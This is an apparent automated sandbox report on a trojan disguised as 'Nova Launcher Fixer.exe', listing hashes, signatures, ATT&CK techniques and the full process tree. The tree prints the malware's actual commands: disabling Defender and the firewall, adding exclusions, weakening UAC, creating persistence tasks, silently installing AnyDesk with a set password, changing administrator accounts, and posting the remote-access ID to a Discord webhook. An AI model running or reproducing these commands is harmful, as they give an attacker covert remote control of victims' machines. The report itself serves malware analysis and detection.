Overview

overview

10

Static

static

3

Nova Launc...er.exe

windows11-21h2-x64

10

Analysis

  • max time kernel
    1050s
  • max time network
    1051s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240704-en
  • resource tags

    arch:x64arch:x86image:win11-20240704-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    05-07-2024 04:54

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Nova Launcher Fixer.exe

  • Size

    121KB

  • MD5

    5c76d15a7d3f57f26edc494bd9db318b

  • SHA1

    cfa089d8d7e9fde67b6cb85827d33431b2d80066

  • SHA256

    af872e954905dbfeb165da42d722889a7dfc4b84e88b52c9abc9de18a1a9d74f

  • SHA512

    3d7a621dcb56a8d8ded08e49c34c77071bcb8e8f408acd2ec9c00ff887342d1e3be935f3ad56b33ef7a96d0d85e1e36b6cccc9498a2b0fe96dab7b5d5747c1fb

  • SSDEEP

    3072:0ojAQkj90n5EIrHshi+LFUWHnGWdw8OkG2Li0HbovOm:YjWnSeGisFXnJw8Ziib

Score
10/10
defense_evasiondiscoveryevasionexecutionpersistenceprivilege_escalationtrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://download.anydesk.com/AnyDesk.exe

Signatures

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 12 IoCs
    evasiontrojan
  • UAC bypass 3 TTPs 2 IoCs
    evasiontrojan
  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 2 IoCs
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 12 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Disables RegEdit via registry modification 1 IoCs
    evasion
  • Disables Task Manager via registry modification
    evasion
  • Drops startup file 2 IoCs
  • Executes dropped EXE 11 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Drops file in System32 directory 6 IoCs
  • Drops file in Program Files directory 2 IoCs
  • Access Token Manipulation: Create Process with Token 1 TTPs 1 IoCs
    defense_evasionprivilege_escalation
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 58 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 6 IoCs
    evasion
  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 59 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 46 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\Nova Launcher Fixer.exe
    "C:\Users\Admin\AppData\Local\Temp\Nova Launcher Fixer.exe"
    1⤵
    • Drops startup file
    • Adds Run key to start application
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2708
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Nova Launcher Fixer.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:224
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Nova Launcher Fixer.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:776
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\System32.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:432
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'System32.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4192
    • C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "System32" /tr "C:\Users\Admin\System32.exe"
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:1524
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\ProgramData\System32.bat
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4776
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://download.anydesk.com/AnyDesk.exe', 'C:\AnyDesk.exe')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:484
      • C:\Windows\system32\timeout.exe
        timeout /t 5 /nobreak
        3⤵
        • Delays execution with timeout.exe
        PID:3876
      • C:\AnyDesk.exe
        "C:\AnyDesk.exe" --install "C:\Program Files (x86)\AnyDesk" --silent --update-auto
        3⤵
        • Executes dropped EXE
        • Drops file in Program Files directory
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:4032
        • C:\AnyDesk.exe
          "C:\AnyDesk.exe" --local-service
          4⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          PID:1200
        • C:\AnyDesk.exe
          "C:\AnyDesk.exe" --local-control
          4⤵
          • Executes dropped EXE
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          PID:4296
      • C:\Windows\system32\timeout.exe
        timeout /t 7 /nobreak
        3⤵
        • Delays execution with timeout.exe
        PID:4548
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /S /D /c" echo Itsm3g#no "
        3⤵
          PID:4280
        • C:\Program Files (x86)\AnyDesk\AnyDesk.exe
          "C:\Program Files (x86)\AnyDesk/AnyDesk.exe" --set-password
          3⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          PID:2384
        • C:\Windows\system32\timeout.exe
          timeout /t 3 /nobreak
          3⤵
          • Delays execution with timeout.exe
          PID:4040
        • C:\Windows\system32\reg.exe
          reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AnyDesk" /t REG_SZ /d "\"C:\Program Files (x86)\AnyDesk\AnyDesk.exe\" --silent" /f
          3⤵
          • Adds Run key to start application
          PID:5084
        • C:\Windows\system32\timeout.exe
          timeout /t 2 /nobreak
          3⤵
          • Delays execution with timeout.exe
          PID:4396
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers' -Name 'C:\Program Files (x86)\AnyDesk\AnyDesk.exe' -Value 'RUNASADMIN'"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Access Token Manipulation: Create Process with Token
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4600
        • C:\Windows\system32\net.exe
          net localgroup Administrators Admin /delete
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4412
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 localgroup Administrators Admin /delete
            4⤵
              PID:1124
          • C:\Windows\system32\net.exe
            net localgroup Administrators /delete
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:5068
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 localgroup Administrators /delete
              4⤵
                PID:8
            • C:\Windows\system32\net.exe
              net localgroup Administrators Administrator /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:976
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators Administrator /add
                4⤵
                  PID:3668
              • C:\Windows\system32\net.exe
                net user Administrator Itsm3g#no
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:3920
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 user Administrator Itsm3g#no
                  4⤵
                    PID:2532
                • C:\Windows\system32\net.exe
                  net user Administrator /active:yes
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4088
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 user Administrator /active:yes
                    4⤵
                      PID:2828
                  • C:\Windows\system32\schtasks.exe
                    schtasks /create /tn "Booter" /tr "\"C:\Program Files (x86)\AnyDesk\AnyDesk.exe\"" /sc onstart /ru system /rl highest
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:4880
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c cmd /c ""C:\Program Files (x86)\AnyDesk\AnyDesk.exe"" --get-id
                    3⤵
                      PID:2528
                      • C:\Windows\system32\cmd.exe
                        cmd /c ""C:\Program Files (x86)\AnyDesk\AnyDesk.exe"" --get-id
                        4⤵
                          PID:3936
                          • C:\Program Files (x86)\AnyDesk\AnyDesk.exe
                            "C:\Program Files (x86)\AnyDesk\AnyDesk.exe" --get-id
                            5⤵
                            • Executes dropped EXE
                            PID:5036
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell.exe -Command "$body = @{ content = 'AnyDesk ID is: \"1671598585\"' }; Invoke-WebRequest -Uri 'https://discord.com/api/webhooks/1258646786961051658/be2T-g2AK9ePJURfOglMzGNNFAjSRm9H8uQftKBPZM4w5FSiPMRxQdj7ztfAnq5CfG5E' -Method Post -ContentType 'application/json' -Body ($body | ConvertTo-Json)"
                        3⤵
                        • Blocklisted process makes network request
                        • Command and Scripting Interpreter: PowerShell
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2812
                      • C:\Windows\system32\schtasks.exe
                        schtasks /create /tn "bootsystem" /tr "C:\ProgramData\System.exe" /sc onstart /ru "SYSTEM" /rl HIGHEST /f
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:4048
                      • C:\Windows\system32\schtasks.exe
                        schtasks /run /tn "bootsystem"
                        3⤵
                          PID:4912
                        • C:\Windows\system32\reg.exe
                          reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
                          3⤵
                            PID:2824
                          • C:\Windows\system32\reg.exe
                            reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
                            3⤵
                            • Modifies Windows Defender Real-time Protection settings
                            PID:4700
                          • C:\Windows\system32\reg.exe
                            reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
                            3⤵
                            • Modifies Windows Defender Real-time Protection settings
                            PID:916
                          • C:\Windows\system32\reg.exe
                            reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
                            3⤵
                            • Modifies Windows Defender Real-time Protection settings
                            PID:1520
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            powershell -Command "Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False"
                            3⤵
                            • Command and Scripting Interpreter: PowerShell
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:4188
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Account Protection" /v UILockdown /t REG_DWORD /d 1 /f
                            3⤵
                              PID:1920
                            • C:\Windows\system32\reg.exe
                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\App and Browser protection" /v DisallowExploitProtectionOverride /t REG_DWORD /d 1 /f
                              3⤵
                                PID:432
                              • C:\Windows\system32\reg.exe
                                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\App and Browser protection" /v UILockdown /t REG_DWORD /d 1 /f
                                3⤵
                                  PID:568
                                • C:\Windows\system32\reg.exe
                                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Device performance and health" /v UILockdown /t REG_DWORD /d 1 /f
                                  3⤵
                                    PID:820
                                  • C:\Windows\system32\reg.exe
                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Device security" /v DisableClearTpmButton /t REG_DWORD /d 1 /f
                                    3⤵
                                      PID:1032
                                    • C:\Windows\system32\reg.exe
                                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Device security" /v DisableTpmFirmwareUpdateWarning /t REG_DWORD /d 1 /f
                                      3⤵
                                        PID:5080
                                      • C:\Windows\system32\reg.exe
                                        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Device security" /v HideSecureBoot /t REG_DWORD /d 1 /f
                                        3⤵
                                          PID:2244
                                        • C:\Windows\system32\reg.exe
                                          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Device security" /v HideTPMTroubleshooting /t REG_DWORD /d 1 /f
                                          3⤵
                                            PID:4628
                                          • C:\Windows\system32\reg.exe
                                            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Device security" /v UILockdown /t REG_DWORD /d 1 /f
                                            3⤵
                                              PID:1012
                                            • C:\Windows\system32\reg.exe
                                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Family options" /v UILockdown /t REG_DWORD /d 1 /f
                                              3⤵
                                                PID:1820
                                              • C:\Windows\system32\reg.exe
                                                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Firewall and network protection" /v UILockdown /t REG_DWORD /d 1 /f
                                                3⤵
                                                  PID:1088
                                                • C:\Windows\system32\reg.exe
                                                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications" /v DisableEnhancedNotifications /t REG_DWORD /d 1 /f
                                                  3⤵
                                                    PID:3148
                                                  • C:\Windows\system32\reg.exe
                                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications" /v DisableNotifications /t REG_DWORD /d 1 /f
                                                    3⤵
                                                      PID:2404
                                                    • C:\Windows\system32\reg.exe
                                                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Systray" /v HideSystray /t REG_DWORD /d 1 /f
                                                      3⤵
                                                        PID:3516
                                                      • C:\Windows\system32\reg.exe
                                                        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Virus and threat protection" /v HideRansomwareRecovery /t REG_DWORD /d 1 /f
                                                        3⤵
                                                          PID:4828
                                                        • C:\Windows\system32\reg.exe
                                                          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Virus and threat protection" /v UILockdown /t REG_DWORD /d 1 /f
                                                          3⤵
                                                            PID:2484
                                                          • C:\Windows\system32\reg.exe
                                                            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "HideExclusionsFromLocalAdmins" /t REG_DWORD /d 1 /f
                                                            3⤵
                                                              PID:2908
                                                            • C:\Windows\system32\reg.exe
                                                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "ServiceKeepAlive" /t REG_DWORD /d 0 /f
                                                              3⤵
                                                                PID:3608
                                                              • C:\Windows\system32\reg.exe
                                                                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d 1 /f
                                                                3⤵
                                                                • Modifies Windows Defender Real-time Protection settings
                                                                PID:4636
                                                              • C:\Windows\system32\reg.exe
                                                                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d 1 /f
                                                                3⤵
                                                                • Modifies Windows Defender Real-time Protection settings
                                                                PID:3140
                                                              • C:\Windows\system32\reg.exe
                                                                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
                                                                3⤵
                                                                • Modifies Windows Defender Real-time Protection settings
                                                                PID:3512
                                                              • C:\Windows\system32\reg.exe
                                                                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d 1 /f
                                                                3⤵
                                                                  PID:3860
                                                                • C:\Windows\system32\reg.exe
                                                                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableRoutinelyTakingAction" /t REG_DWORD /d 1 /f
                                                                  3⤵
                                                                    PID:4812
                                                                  • C:\Windows\system32\reg.exe
                                                                    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorUser /t REG_DWORD /d 0 /f
                                                                    3⤵
                                                                    • UAC bypass
                                                                    PID:4032
                                                                  • C:\Windows\system32\reg.exe
                                                                    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 1 /f
                                                                    3⤵
                                                                    • UAC bypass
                                                                    PID:4964
                                                                  • C:\Windows\system32\reg.exe
                                                                    reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center\Feature" /v "FirewallDisableNotify" /t REG_DWORD /d "1" /f
                                                                    3⤵
                                                                      PID:2920
                                                                    • C:\Windows\system32\reg.exe
                                                                      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center\Feature" /v "FirewallOverride" /t REG_DWORD /d "0" /f
                                                                      3⤵
                                                                        PID:4944
                                                                      • C:\Windows\system32\reg.exe
                                                                        reg add "HKLM\System\CurrentControlSet\Control\DeviceGuard" /v "EnableVirtualizationBasedSecurity" /t REG_DWORD /d 0 /f
                                                                        3⤵
                                                                          PID:924
                                                                        • C:\Windows\system32\reg.exe
                                                                          reg add "HKLM\System\CurrentControlSet\Control\DeviceGuard\Scenarios" /v "HypervisorEnforcedCodeIntegrity" /t REG_DWORD /d 0 /f
                                                                          3⤵
                                                                            PID:392
                                                                          • C:\Windows\system32\reg.exe
                                                                            reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d "1" /f
                                                                            3⤵
                                                                              PID:1940
                                                                            • C:\Windows\system32\reg.exe
                                                                              reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableResetCapability" /t REG_DWORD /d "1" /f
                                                                              3⤵
                                                                                PID:2340
                                                                              • C:\Windows\system32\reg.exe
                                                                                reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoControlPanel" /t REG_DWORD /d "1" /f
                                                                                3⤵
                                                                                  PID:1040
                                                                                • C:\Windows\system32\reg.exe
                                                                                  reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoWindowsUpdate" /t REG_DWORD /d "1" /f
                                                                                  3⤵
                                                                                    PID:1224
                                                                                  • C:\Windows\system32\reg.exe
                                                                                    reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableRegistryTools" /t REG_DWORD /d "1" /f
                                                                                    3⤵
                                                                                    • Disables RegEdit via registry modification
                                                                                    PID:1188
                                                                                • C:\Windows\System32\schtasks.exe
                                                                                  "C:\Windows\System32\schtasks.exe" /delete /f /tn "System32"
                                                                                  2⤵
                                                                                    PID:4756
                                                                                  • C:\Windows\system32\cmd.exe
                                                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp8752.tmp.bat""
                                                                                    2⤵
                                                                                      PID:2852
                                                                                      • C:\Windows\system32\timeout.exe
                                                                                        timeout 3
                                                                                        3⤵
                                                                                        • Delays execution with timeout.exe
                                                                                        PID:564
                                                                                  • C:\Users\Admin\System32.exe
                                                                                    C:\Users\Admin\System32.exe
                                                                                    1⤵
                                                                                    • Executes dropped EXE
                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                    PID:2272
                                                                                  • C:\Program Files (x86)\AnyDesk\AnyDesk.exe
                                                                                    "C:\Program Files (x86)\AnyDesk\AnyDesk.exe" --service
                                                                                    1⤵
                                                                                    • Executes dropped EXE
                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                    PID:2044
                                                                                  • C:\Program Files (x86)\AnyDesk\AnyDesk.exe
                                                                                    "C:\Program Files (x86)\AnyDesk\AnyDesk.exe" --control
                                                                                    1⤵
                                                                                    • Executes dropped EXE
                                                                                    • Suspicious use of FindShellTrayWindow
                                                                                    • Suspicious use of SendNotifyMessage
                                                                                    PID:3292
                                                                                  • C:\Users\Admin\System32.exe
                                                                                    C:\Users\Admin\System32.exe
                                                                                    1⤵
                                                                                    • Executes dropped EXE
                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                    PID:2256
                                                                                  • C:\ProgramData\System.exe
                                                                                    C:\ProgramData\System.exe
                                                                                    1⤵
                                                                                    • Executes dropped EXE
                                                                                    • Drops file in System32 directory
                                                                                    • Modifies data under HKEY_USERS
                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                    PID:1200
                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\System.exe'
                                                                                      2⤵
                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                      • Drops file in System32 directory
                                                                                      • Modifies data under HKEY_USERS
                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                      PID:4352
                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'System.exe'
                                                                                      2⤵
                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                      • Drops file in System32 directory
                                                                                      • Modifies data under HKEY_USERS
                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                      PID:2328
                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\system32\config\systemprofile\System32.exe'
                                                                                      2⤵
                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                      • Drops file in System32 directory
                                                                                      • Modifies data under HKEY_USERS
                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                      PID:1924
                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'System32.exe'
                                                                                      2⤵
                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                      • Drops file in System32 directory
                                                                                      • Modifies data under HKEY_USERS
                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                      PID:4940
                                                                                    • C:\Windows\System32\schtasks.exe
                                                                                      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "System32" /tr "C:\Windows\system32\config\systemprofile\System32.exe"
                                                                                      2⤵
                                                                                      • Scheduled Task/Job: Scheduled Task
                                                                                      PID:3400
                                                                                    • C:\Windows\System32\schtasks.exe
                                                                                      "C:\Windows\System32\schtasks.exe" /delete /f /tn "System32"
                                                                                      2⤵
                                                                                        PID:2548
                                                                                      • C:\Windows\system32\cmd.exe
                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Windows\TEMP\tmp833B.tmp.bat""
                                                                                        2⤵
                                                                                          PID:1716
                                                                                          • C:\Windows\system32\timeout.exe
                                                                                            timeout 3
                                                                                            3⤵
                                                                                            • Delays execution with timeout.exe
                                                                                            PID:1228
                                                                                      • C:\Windows\system32\svchost.exe
                                                                                        C:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc
                                                                                        1⤵
                                                                                          PID:4200
                                                                                        • C:\Users\Admin\System32.exe
                                                                                          C:\Users\Admin\System32.exe
                                                                                          1⤵
                                                                                          • Executes dropped EXE
                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                          PID:2820
                                                                                        • C:\Windows\system32\sihost.exe
                                                                                          sihost.exe
                                                                                          1⤵
                                                                                          • Suspicious use of FindShellTrayWindow
                                                                                          PID:564
                                                                                          • C:\Windows\explorer.exe
                                                                                            explorer.exe /LOADSAVEDWINDOWS
                                                                                            2⤵
                                                                                            • Boot or Logon Autostart Execution: Active Setup
                                                                                            • Enumerates connected drives
                                                                                            • Checks SCSI registry key(s)
                                                                                            • Modifies registry class
                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                            • Suspicious use of FindShellTrayWindow
                                                                                            • Suspicious use of SendNotifyMessage
                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                            PID:4448
                                                                                        • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                                                          "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                                                          1⤵
                                                                                          • Modifies registry class
                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                          PID:3812
                                                                                        • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
                                                                                          "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
                                                                                          1⤵
                                                                                          • Enumerates system info in registry
                                                                                          • Modifies Internet Explorer settings
                                                                                          • Modifies registry class
                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                          PID:2284

                                                                                        Network

                                                                                        MITRE ATT&CK Matrix ATT&CK v13

                                                                                        Initial Access

                                                                                        Execution

                                                                                        Command and Scripting Interpreter

                                                                                        1
                                                                                        T1059

                                                                                        PowerShell

                                                                                        1
                                                                                        T1059.001

                                                                                        Scheduled Task/Job

                                                                                        1
                                                                                        T1053

                                                                                        Scheduled Task

                                                                                        1
                                                                                        T1053.005

                                                                                        Persistence

                                                                                        Create or Modify System Process

                                                                                        1
                                                                                        T1543

                                                                                        Windows Service

                                                                                        1
                                                                                        T1543.003

                                                                                        Account Manipulation

                                                                                        1
                                                                                        T1098

                                                                                        Boot or Logon Autostart Execution

                                                                                        2
                                                                                        T1547

                                                                                        Registry Run Keys / Startup Folder

                                                                                        1
                                                                                        T1547.001

                                                                                        Active Setup

                                                                                        1
                                                                                        T1547.014

                                                                                        Scheduled Task/Job

                                                                                        1
                                                                                        T1053

                                                                                        Scheduled Task

                                                                                        1
                                                                                        T1053.005

                                                                                        Privilege Escalation

                                                                                        Create or Modify System Process

                                                                                        1
                                                                                        T1543

                                                                                        Windows Service

                                                                                        1
                                                                                        T1543.003

                                                                                        Abuse Elevation Control Mechanism

                                                                                        1
                                                                                        T1548

                                                                                        Bypass User Account Control

                                                                                        1
                                                                                        T1548.002

                                                                                        Boot or Logon Autostart Execution

                                                                                        2
                                                                                        T1547

